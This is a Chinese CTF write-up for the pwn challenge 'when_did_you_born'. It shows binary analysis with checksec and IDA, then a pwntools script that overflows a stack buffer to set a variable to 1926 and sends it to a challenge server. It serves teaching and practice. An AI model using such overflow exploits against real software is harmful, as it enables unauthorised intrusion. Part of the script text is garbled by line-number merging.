1. 程式人生 > 實用技巧 >攻防世界-pwn-writeup

攻防世界-pwn-writeup

when_did_you_born

題目地址:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5051&page=1

題目描述:只要知道你的年齡就能獲得flag,但菜雞發現無論如何輸入都不正確,怎麼辦

題目附件: 附件1

分析:

下載檔案後,通過kali的命令列:file 檢視檔案多少位:通過檢視發現是64位,linux系統,linux在pwn題目出現最多。

檢視檔案有什麼保護:命令checksec --file=when_did_you_born :,發現Canary found金絲雀保護(棧)和堆的保護

執行下測試,輸入大量資料,發現疑似棧溢位漏洞

載入IDA分析,按兩次空格,進入彙編介面,難分析,按F5進行虛擬碼顯示,發現只要V5溢位到V6,且讓V6值為1926,即可繼續執行

編寫python程式碼:

  1 #棧溢位漏洞
  2 from pwn import *
  3 
  4 context(os='linux',arch="amd64",log_level="debug")  #代表pwn是linux程式,64位作業系統,除錯模式是debug
  5 content=1
  6 def main():
  7     if content==1:
  8         zw=process("when_did_you_born
") #執行本地程式 9 else: 10 zw=remote("220.249.52.133",50253) #執行網路程式 11 12 payload=b'a'*(0x20-0x18)+p64(1926) #構建payload攻擊溢位指令碼,傳送一個位元流資料,所以開始是b';(0x20-0x18)代表資料大小是這麼大;p64帶代表64位位元組流傳送 13 14 zw.recvuntil("What's Your Birth?\n") #收到返回是這個字串則執行下一行程式碼 15 zw.sendline("1900") #傳送一條資料 16
# zw.sendlineafter("",)#執行到哪一條語句後傳送 17 zw.recvuntil ("What's Your Name?\n") 18 zw.sendline (payload) 19 20 zw.interactive() #接收資料,把收到的資料傳送回來 21 22 main() #執行main函式

執行,發現,正確,更改conent為網路驗證獲得flag: